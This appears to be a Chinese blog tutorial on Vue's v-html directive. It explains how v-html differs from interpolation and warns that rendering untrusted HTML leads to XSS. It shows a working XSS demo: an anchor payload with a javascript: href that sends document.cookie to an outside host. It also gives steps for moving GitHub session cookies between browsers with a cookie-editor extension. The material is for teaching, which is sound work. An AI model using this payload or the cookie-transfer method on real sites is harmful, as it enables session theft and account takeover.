首页 > 其他分享 >Vue的v-html指令说明,含案例

Vue的v-html指令说明,含案例

时间:2023-02-13 23:58:29浏览次数:50  
标签:Vue 浏览器 火狐 html 指令 Cookie google

v-html指令总结:

1、作用:向指定节点中渲染包含html结构的内容

2、与插值语法的区别:

(1)v-html 会替换掉节点中所有的内容,{{}}则不会

(2)v-html 可以识别html 结构

3、特别注意:

(1)在网站上动态动态渲染任意HTML是非常危险的,容易导致XSS攻击

(2)一定要在可信的内容上使用v-html,永不要在用户提交的内容上使用

案例分析:

 1、在google浏览器和火狐浏览器上安装 Cookie-Editor 插件:http://crx4.com/18460.html

 2、在google 浏览器登陆githut 账号 ,使用Cookie-Editor插件将浏览器的Cookie数据导出

 3、在火狐浏览器打开githut网站,然后删除Cookie数据,将从google浏览器导出的数据导入到火狐浏览器中,然后刷新页面,会发现火狐浏览器的githut会有登陆后的信息

(1)html

<!DOCTYPE html>
<head>
    <title>v-html</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <div v-html="str"></div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false
    new Vue({
        el:"#root",
        data:{
            str:'<a href=javascript:location.href="http://baidu.com?"+document.cookie>兄弟,我找到你想要的资源了,快来!</a>'
        }
    })
</script>

(2)往页面加cookie数据

 (3)点击链接,会将系统的cookie数据传走

链接:https://www.bilibili.com/video/BV1Zy4y1K7SH?p=41&spm_id_from=pageDriver&vd_source=60a28e8364654bee938864b1d19905ec

第41集

标签:Vue,浏览器,火狐,html,指令,Cookie,google
From: https://www.cnblogs.com/technicist/p/17118333.html

相关文章

  • vue原理:diff、模板编译、渲染过程等
    一、虚拟DOM:因为DOM操作非常消耗性能,在操作DOM时,会出现DOM的回流(Reflow:元素大小或者位置发生改变)与重绘(元素样式的改变)使DOM重新渲染。现在的框架Vue和React很少直接操作......
  • 1.html篇之《html基础入门》
    html基础入门1.什么是htmlHypertextMarkupLanguage超文本标记语言2.基本结构<!DOCTYPEhtml><!--注释:此为html5的声明方式--><html><head></head><body></b......
  • 前端发展史 vue介绍 vue的快速使用
    目录前端发展历史vue介绍vue快速使用之helloworld前端发展历史#1HTML(5)、CSS(3)、JavaScript(ES5、ES6):编写一个个的页面->给后端(PHP、Python、Go、Java)->后端......
  • Vue 局部过滤器和全局过滤器
    Vue过滤器总结:定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)语法:1、注册过滤器:Vue.filter(name,callback)或newVue{filters:{}}2、使用过滤......
  • 前端之——vue day01 入门
    DRF重点序列化类视图组件路由写法三大认证jwt一、前端发展历史1.HTML(5)、CSS(3)、JavaScript(ES5、ES6):编写一个个的页面->给后端(PHP、Python、Go、Java)->......
  • 前端之Vue框架:1、前端发展历史、Vue介绍和基本使用
    目录前端之Vue框架一、前端发展历史二、Vue的介绍的基本使用1、Vue简介2、Vue特点3、M-V-VM思想4、组件化开发、单页面开发5、版本选择6、引入方式7、补充8、简单使用前......
  • HTML_04_Table
    Table1.Basictablestructure<table></table>​ createatable<tr></tr>​ indicatethestartofeachrow<td></td>​ eachcellinaroll<table><t......
  • vue基础:前端发展历史、Vue的介绍的基本使用
    目录一、前端发展历史二、Vue的介绍的基本使用1、Vue简介2、Vue特点3、M-V-VM思想4、组件化开发、单页面开发5、版本选择6、引入方式7、补充8、简单使用一、前端发展历史......
  • vue-day01——前端发展历史、vue的介绍及基本使用
    目录前端之Vue框架一、前端发展历史二、Vue的介绍及基本使用1、Vue简介2、Vue特点3、M-V-VM思想4、组件化开发、单页面开发5、版本选择6、引入方式7、补充8、简单使用前......
  • vue介绍
    目录前端发展史vue介绍第一个vue项目前端发展史#1HTML(5)、CSS(3)、JavaScript(ES5、ES6):编写一个个的页面->给后端(PHP、Python、Go、Java)->后端嵌入模板语法->......